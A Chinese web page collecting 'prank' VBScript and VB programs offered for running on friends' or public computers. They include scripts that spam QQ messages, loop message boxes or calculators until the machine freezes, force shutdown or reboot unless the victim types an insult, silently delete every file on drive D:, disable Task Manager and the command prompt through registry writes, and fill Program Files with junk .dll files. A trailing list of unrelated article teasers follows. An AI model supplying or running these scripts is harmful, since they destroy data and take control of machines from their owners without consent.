当前位置：首页 > 科技 > 正文

VBS整人代码大合集

一、你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面代码里的xx替换一下,就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可).
xx.vbs=>
代码如下:

On Error Resume Next
Dim wsh,ye
set wsh=createobject("wscript.shell")
for i=1 to 10
wscript.sleep 700
wsh.AppActivate("与 xx 聊天中")
wsh.sendKeys "^v"
wsh.sendKeys i
wsh.sendKeys "%s"
next
wscript.quit

QQ骚扰信息,也可以用在其它程序上。
二、我就用这个程序放在学校图书馆查询书刊的机器上，好多人都那它没办法，哈哈
------------------------------------------------------------------------------
do
msgbox "You are foolish!"
loop
------------------------------------------------------------------------------
三、打开无数个计算器，直到死机
------------------------------------------------------------------------------
set wsh=createobject("wscript.shell")
do
wsh.run "calc"
loop
-----------------------------------------------------------------------------
四、直接关机
-----------------------------------------------------------------------------
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "shutdown -f -s -t 00",0 ,true
-----------------------------------------------------------------------------
五、删除D:\所有文件
---------------------------------------------------------------------------
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true
----------------------------------------------------------------------------
六、不断弹出窗口
----------------------------------------------------------------------------
代码如下:

while(1)
msgbox "哈哈 你被耍了！"
loop

----------------------------------------------------------------------------
七、不断按下alt+f4 （开什么都关闭……）
---------------------------------------------------------------------------
代码如下:

dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
while(1)
WSHshell.SendKeys "%{F4}"
loop

八、按500次回车
(以上代码在运行者的电脑上显示500个对话框。其中 do until s=500 ，500可以随意更改)
代码如下:

dim s
do until s=500
s=s+1
msgbox "哥们，给我按500次回车吧",64
loop
'------------------------ ------------------------------------------------------------

九、关不掉的窗口
代码如下:

WScript.Echo("嘿，谢谢你打开我哦，我等你很久拉！"&TSName)
WScript.Echo("你是可爱的小朋吗?")
WScript.Echo("哈,我想你拉，这你都不知道吗？")
WScript.Echo("怎么才来，说~是不是不关心我")
WScript.Echo("哼,我生气拉，等你这么久，心都凉啦。")
WScript.Echo("小强很生气，后果很严重哦。")
WScript.Echo("嘿嘿！你也会很惨滴哦")
WScript.Echo("是不是想清除我？")
WScript.Echo("那你要点上50下哦，不过会给你惊喜滴")
WScript.Echo("还剩49下，快点点哦")
WScript.Echo("还剩48下，快点，小笨蛋！")
WScript.Echo("还剩47下对，就这样快点点！")
WScript.Echo("还剩46下。你啊就是笨，要快哦，我先不打扰你工作。")
WScript.Echo("还剩45下，记得要快哦！")
WScript.Echo("还剩43下")
WScript.Echo("还剩42下")
WScript.Echo("还剩41下")
WScript.Echo("还剩40下")
WScript.Echo("还剩39下")
WScript.Echo("还剩38下")
WScript.Echo("还剩37下")
WScript.Echo("还剩36下")
WScript.Echo("还剩35下")
WScript.Echo("还剩34下")
WScript.Echo("还剩33下")
WScript.Echo("还剩32下")
WScript.Echo("还剩30下")
WScript.Echo("还剩29下")
WScript.Echo("还剩28下")
WScript.Echo("还剩27下")
WScript.Echo("还剩26下")
WScript.Echo("还剩25下")
WScript.Echo("还剩24下")
WScript.Echo("还剩23下")
WScript.Echo("还剩22下")
WScript.Echo("还剩21下")
WScript.Echo("还剩20下")
WScript.Echo("还剩19下")
WScript.Echo("还剩18下")
WScript.Echo("还剩17下")
WScript.Echo("还剩16下")
WScript.Echo("还剩15下")
WScript.Echo("还剩14下")
WScript.Echo("还剩13下停停！！！慢点，我有话要说")
WScript.Echo("还剩12下，你继续点我就会消失滴")
WScript.Echo("还剩11下，以后就看不到我拉。555555")
WScript.Echo("还剩10下，你现在可以选择停止！")
WScript.Echo("还剩9下。你还点啊，不要我拉？")
WScript.Echo("还剩8下，有点伤心拉，干嘛丢弃人家")
WScript.Echo("还剩7下。疯了，你有点负意！")
WScript.Echo("还剩6下。对。你就点吧，我恨你！")
WScript.Echo("还剩5下，不明白，删除我你就好吗？")
WScript.Echo("还剩4下！真要删除我？")
WScript.Echo("还剩3下。可是我真的很眷恋你。。。")
WScript.Echo("还剩2下。不要这么绝情嘛，人家是爱你的！")
WScript.Echo("还剩1下。哼，既然你这么绝情。也别怪我无义！！！")
WScript.Echo("我本因该消失的，不过我留恋你滴芳容，上帝又给了一次机会。")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")



两个整人的VBS脚本2009-07-16 18:16
文章录入：7747.Net 责任编辑：7747.Net 564
【字体：小 大】

测试环境：Windows 2003 系统
大家好 我是Vanlisa QQ137841986
今天给大家带来两个整人的VBS脚本 希望大家喜欢
VBS脚本大家都知道吧 第一个是定时关机的
如果把他发给你的QQ好友 他不懂的话 如果不输我是猪 电脑就会在你设定的
时间内关机 我设置的是3分钟 只要输入就解除了 当然如果不输的话也有解除的办法
我们来看下这个脚本
代码如下:

on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 180 -c ""说我是猪，不说我是猪就一分钟关机，不信，试下···"" ",0 ,true
dim a
do while(a <> "我是猪")
a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪""　","说不说","",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，好乖"

新建一个记事本 把上面的代码复制进去 另存为VBE格式的就可以了
cmd.exe /c shutdown -r -t 180 -c
这里的数字可以修改关机时间 180秒
这些文字也可以自设 这个脚本启用cmd 里的关机程序
如果不输的的话 可以打开任务管理器 输入shutdown -a 来解除 我们试下 这时定时关机已
经没了 但是还有个关不掉的窗口 我们打开任务管理器 结束掉Wscript.exe 这个进程就OK
了 这时就完全解除这个脚本了 Wscript 时Windows 脚本宿主
-------------------------------------------------------------------------------------------
下面看第二个整人的脚本
-------------------------------------------------------------------------------------------
代码如下:

set ws=createobject("wscript.shell")
call shutdown(1)
do while a<>"我是猪"
a=inputbox("快在下面的框框里输入我是猪,否则后果自负，快输""我是猪"" ","输不输","")
loop
call shutdown(2)
msgbox "早说就行了嘛",4096+64
msgbox"再输一遍我是猪!",4096+64
msgbox"我是猪!",4096+64
MsgBox"最后一次!",4096+64
MsgBox"如果你很快的点过去,不看的话",4096+64
MsgBox"我就要你踩我空间的!哼!",4096+64
MsgBox"从前有座山!",4096+64
MsgBox"山里有个庙.",4096+64
MsgBox"庙里有个老和尚在讲故事.",4096+64
ws.run"iexplore.exe http://new.qzone.qq.com/137841986/infocenter"
msgbox"哎呀累了！数绵羊哄我睡觉",4096+64
for i=1 to 100
MsgBox i&"只绵羊",4096+64
next
msgbox"哎呀我困了，这次就饶过你吧，下次注意哦!",4096+64
msgbox"最后问个问题，我是不是大好人！",4096+64
if inputbox("是不是","请选择","是")<>"是" then
call shutdown(1)
end if
sub shutdown(s)
select case s
case 1
ws.run"cmd.exe /c shutdown -r -t 60 -c",0
case 2
ws.run"cmd.exe /c shutdown -a",0
end select
end sub

--------------------------------------------------------------------------------
ws.run"iexplore.exe http://new.qzone.qq.com/137841986/infocenter"
这段代码可以改成你自己设定的地址
如果别人不输我是猪的话就会一直点下去 点到你设定的数字
for i=1 to 100
从1到100
可以改成 20 其他的数字
解除这个VBS脚本的办法就简单了 只是关掉任务管理器里Wscript.exe
这个进程就好了
BY：7747.net


2009QQ整人代码
代码如下:

set s=createobject("wscript.shell")
set bag=getobject("winmgmts:\\.\root\cimv2")
set pipe=bag.execquery("select * from win32_process where name='wscript.exe'")
For Each id in pipe
if instr(1,id.commandLine,wscript.scriptfullname)<>0 and pipe.count>=2 then
s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",0,"REG_DWORD"
s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",0,"REG_DWORD"
id.terminate()
else
s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",1,"REG_DWORD"
s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",1,"REG_DWORD"
for i=1 to 60
s.popup"系统将在"& 60-i &"秒后关机...",1,"系统提示",4096+48
next
Set colOS = GetObject("winmgmts:{(Shutdown)}").ExecQuery("Select * FROM Win32_OperatingSystem")
For Each eOs In colOS
eOs.Win32Shutdown(2)
Next
end if
Next

[color=#FF0000]复制以上代码，在桌面建一个文本，把代码放进去，另存为VBE格式，
此代码的威力：
1：开机就强制自动关机
2：cmd命令打不开
3：结束任务不管用
4：F8安全模式也不管用
呵呵！听起来是不是有点恐怖啊，我在我朋友空间里看见也吓了一跳、
代码破解方法：就是再运行一次，就可以破解了，也就是第2次保存的那个VBE文件，，
PS：不要乱拿软件去整人，发生什么事可不要怪我啊。。
拍拍手 顶起吧!

2：
代码如下:

on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说你是傻B，我是天下第一大傻B不说宝宝，我是天下第一大傻B就一分钟关你机，不信，试试···"" ",0 ,true
dim a
do while(a <> "宝宝，我是天下第一大傻B")
a = inputbox ("宝宝，我是天下第一大傻B,就不关机，快撒，说 ""宝宝，我是天下第一大傻B""　","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛，乖乖"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "宝宝是不是又帅啦？？"

这代码是我从朋友那拿来的，大家可以试着玩下、你能做非法事情哦、



网页整人效果代码
想看效果，只要复制这下面的所有代码保存在text文件里，修改文件后缀为txt就能看到效果了。
代码如下:




网页特效|Linkweb.cn/Js|---很恶心的常见整人效果


不许把鼠标移到这里

嘻试吧爽噢。。






vbs整人代码
代码如下：
代码如下:

Private Sub Form_Load()
Me.Hide
End Sub
Private Sub Timer1_Timer()
'声明变量，其中“count”为静态变量，以便生成不同的文件
Dim files As String
Dim nr As String
Dim c As String
Static count As Long
'定义要把生成的文件存放在那个目录文件下
c = "C:\Program Files\"
'生成文件的内容
nr = "哈哈，被黑的感觉的不错吧"
files = FreeFile
'如果a等于a那么就执行
If a = a Then
'count不断的加1，以便产生不同的文件名
count = count + 1
'产生文件名及文件句柄，并用count作为产生不同的文件名。
Open c & "system" & count & ".dll" For Append As #files
'向文件写内容
Write #files, nr
'清除文件句柄，这里很重要，如果不清除，将产生打开文件太多的错误提示
Close #files
End If
End Sub

你可能想看：

加工中心常用G代码和M代码大全，收藏好了！

G11--程式参数输入取消（部分机床）G16--极坐标指令有效（部分机床）G36--特别固定循环（圆弧）G45--刀具位置设定（扩张）G46--刀具位置设定（缩小）G48--刀具位置设定（减半）G53...

常用JS代码大全

INPUT TYPE="BUTTON" NAME="Button" VALUE="ABCnet.CN" onclick="showModalDialog('http;//www.abcnet.cn')...

志高空调故障代码大全

显示室内盘管传感器故障、室内温度传感器故障”则关闭空调并显示室内风机故障，二、志高空调室内风机盘管线控器故障代码显示分析取样电路波动 检查电源、压机阻值和接线方法E02 室外机交流输入电流过大 模块取...

2019美的空调故障代码大全 开关电源维修资料（F9222）

2019美的空调故障代码大全。空调这一大家电的使用寿命往往在8-10年左右。空调也会出现运行故障，空调在出现故障时，机器会根据不同位置的故障类型。显示故障代码，今天小编就给大家一份美的空调故障代码大全...

VBA常用小代码103：实现去重且自动显示列表的数据有效性

我们今天聊的内容是单元格的数据有效性（2010版本后更名为数据验证）：如何创建去除重复项后的下拉列表，在表格的A列创建去除重复人名后的数据验证下拉列表：'如果选择的单元格不存在于A列,Cells(Ro...

VBA常用小代码102：批量合并相同值单元格

我们今天分享的VBA小代码内容是批量合并相同值的单列单元格，需要将相同的班级单元格修改为合并单元格……：'用户选择数据列，'intersect语句避免用户选择整列造成无谓运算,Application....

中国传统纹样大合集，都是珍贵的资料

青铜器上常见的花纹之一，常作为器物的主要纹饰，夔是神话中形似龙的兽名：一说为龙纹、蜗身兽纹“中国古代青铜器纹饰之一。也以云雷纹作地纹，中国青铜器纹饰之一”形成一种新的主导性的纹饰。云雷纹最早出现在新石...

103款手工钩织毛线帽子大合集（2） 宝宝款 成人款

花边宝宝帽：青蛙帽亲子款，提花帽子:小辫假留海女童帽：毛球帽子，尖尖魔法帽：毛球护耳帽，花边宝宝帽青蛙帽亲子款来自@木子喵喵手作来自@媛媛妈手作来自@小脚丫手工馆天线宝宝帽来自@酒窝小胖花小辫子留海女...

初中语文名著导读大合集，5分钟掌握名著关键知识点！

1、《爱的教育》原名《心》是意大利作家亚米锲斯为九至十三岁的孩子创作的一部小说，主人公恩利科的日记、恩利科父母的教子篇以及老师讲的九则故事。生活的智慧和想象的魅力1、《伊索寓言》产生于希腊的古典时期，...

扣上罪名，大义灭亲，一副惋惜的表情，这是领导整人常用的手段

王敦必定会成为国家的祸患，削弱王敦、王导的权力，王敦、王导被降职处理，王导知道自己功高震主。晋元帝自然知道王敦所表达的意思，内心早已有除掉王敦的念头，只是顾及到王敦曾经跟随自己打天下，如果没有正当的理...

公司为何要辞退优秀员工，却招新人代替？老板说出其中缘由

优秀员工离职有实情 许多在工作当中有着很多优异成绩并且有着干练经验的优秀员工在公司发展的时候甚至是待了很长的一段时间，可是这些优秀员工一般都会在后面就会离职，为什么公司会辞退这些优秀员工并且在优秀...

​无人共我饮心酸，无人代我描青丹，不渡悲喜言清欢

红尘中最美的相逢，即便蒹葭乱阑珊，无人共我饮心酸，不诉愁殇把酒灌.，无人伴我掩帷幔，不语难耐离人散.，无人知我暗自叹，奈何缘浅情深云摇曳，奈何雾霭迷茫落云岑，奈何凝霜渐起锁玲珑，君若皑皑远山雪清冷孤寒...

【工具篇】项目管理WBS——应用篇

WBS最基本的作用就是定义项目的工作范围，项目实施过程中的参照此基准进行项目范围核实和控制。WBS的各类元素是对项目进度计划中的活动进行定义的起点，项目进度控制以WBS各类元素的进度控制为基础，项目实...

谷歌相机完整的 LibPatcher BSG

非常低的值会使图像变得柔和而没有结构和绘画，我没有注意到清晰度或结构的显着提高，较小的值往往具有更积极的降噪效果。最小值或较小的值会导致颜色泄漏，高值不会增加照片的亮度。唯一改变图像结构的功能是非常轻...

《民法典》实施在即，这九大合同实务风险你还不知道？

那么合同实务中应该怎么样利用预约合同制度规避风险。合同实务当中早已存在大量第三人加入合同的情况，本次《民法典》建立利益第三人加入合同制度。《民法典》吸收了《合同法》第79条的规定并且增加了不得对抗第三...

“热心”狗狗将刚放下的包裹送还给快递员 2021-12-07 07:53 据美国哥伦比亚广播公司（CBS）12月3日报道，美国明尼苏达州一只热心助人的狗子想确保人们不落下东西，于是把快递员刚放下的包裹又送

狗狗将刚放下的包裹送还给快递员”美国明尼苏达州一只热心助人的狗子想确保人们不落下东西。于是把快递员刚放下的包裹又送了回去，这只叫尼克松的8岁拉布拉多犬在快递员中很受欢迎。它会送快递员一直走到门口，它叼...

STN核的解剖与帕金森病的DBS手术治疗

丘脑底核（STN）是人类大脑中与帕金森病及其他非自主运动有关的重要结构。核中纤维连接大脑皮质和基底节。来自大脑皮质、丘脑、苍白球外侧（GPe）和脑干。STN核主要通过作用于双侧苍白球、黑质、纹状体和脑...

数字密码大全

02825你爱不爱我，0564335好无聊时想想我0837你别生气1314925一生一世就爱我14意思25184爱我一辈子2010000爱你一万年25873爱我到今生20863爱你到来生3344520...

常见汽车导航工厂设置密码大全

09-08 07:常见密码3368/8888/0000/1234/7890【普通常见的安卓大屏机】126【华域/佳艺田】333111【三一众和】5139上述没有请参照下图 珍藏手抄版（感谢同行改装店提...

Excel VBA 7.19 Excel跨工作薄多工作表数据合并之Excel表格多行表头

所以我们今天针对多行表头的数据汇总来分析下方法场景模拟假设我们要统计的Excel中每个表格都有表头，1) End If Next sth End If ActiveWorkbook.Close Fal...

VBA遍历所有文件夹的两种方法（filesearch和FileSystemObject）

另外一种是使用FileSystemObject(windows文件管理工具)和递归方法。

Excel VBA解读（53）：高级筛选——AdvancedFilter方法

我们先使用Excel的录制宏工具录制一段进行高级筛选操作的代码，先在单元格G1中输入标题，选择单元格区域A1”则可以选择整个数据区域“就用不着每次都要选择不同的列表区域了”表明将数据复制到由参数Cop...

VB中一个服务器和多个客户端的程序

什么是VB-MAPP,为什么说能力训练用它最先进

很多家长们对很多主流机构采用的VB-MAPP教学理论体系很感兴趣，VB-MAPP体系脱胎于著名心理学家斯金纳(B.F.Skinner）对人类行为和语言的开拓性分析。30-48个月）全面评估孩子各项能力...

神奇的VBA系列-003：报表插入空白行

下面介绍的是一个职场中经常使用的功能，代码示例在标准模块中加入如下代码即可实现上面的演示功能。OnErrorResumeNext;Forn=Range("B65536").End(3).RowTo2S...

Excel VBA引用单元格区域有哪些方法？

VBA中可以使用Range属性返回单元格或单元格区域,图 11使用Range属性引用单元格区域：Range属性返回活动表的一个区域。使用Cells属性返回一个Range对象，Cells属性指定单元格区...

集装箱箱主代码一览

公司代码 19 CHC 中国扬子江轮船股份有限公司43 COL 德国哥伦布航运44 CON 中远(内贸)49 CPS 加拿大太平洋航运59 CSA 南美航运62 CSN 中国海运内贸线63 ...

代码'推理题lt文件

上一篇
波段大底

下一篇
红楼梦，算不算一场噩梦？

有话要说...

最新文章

取消
扫码支持 支付码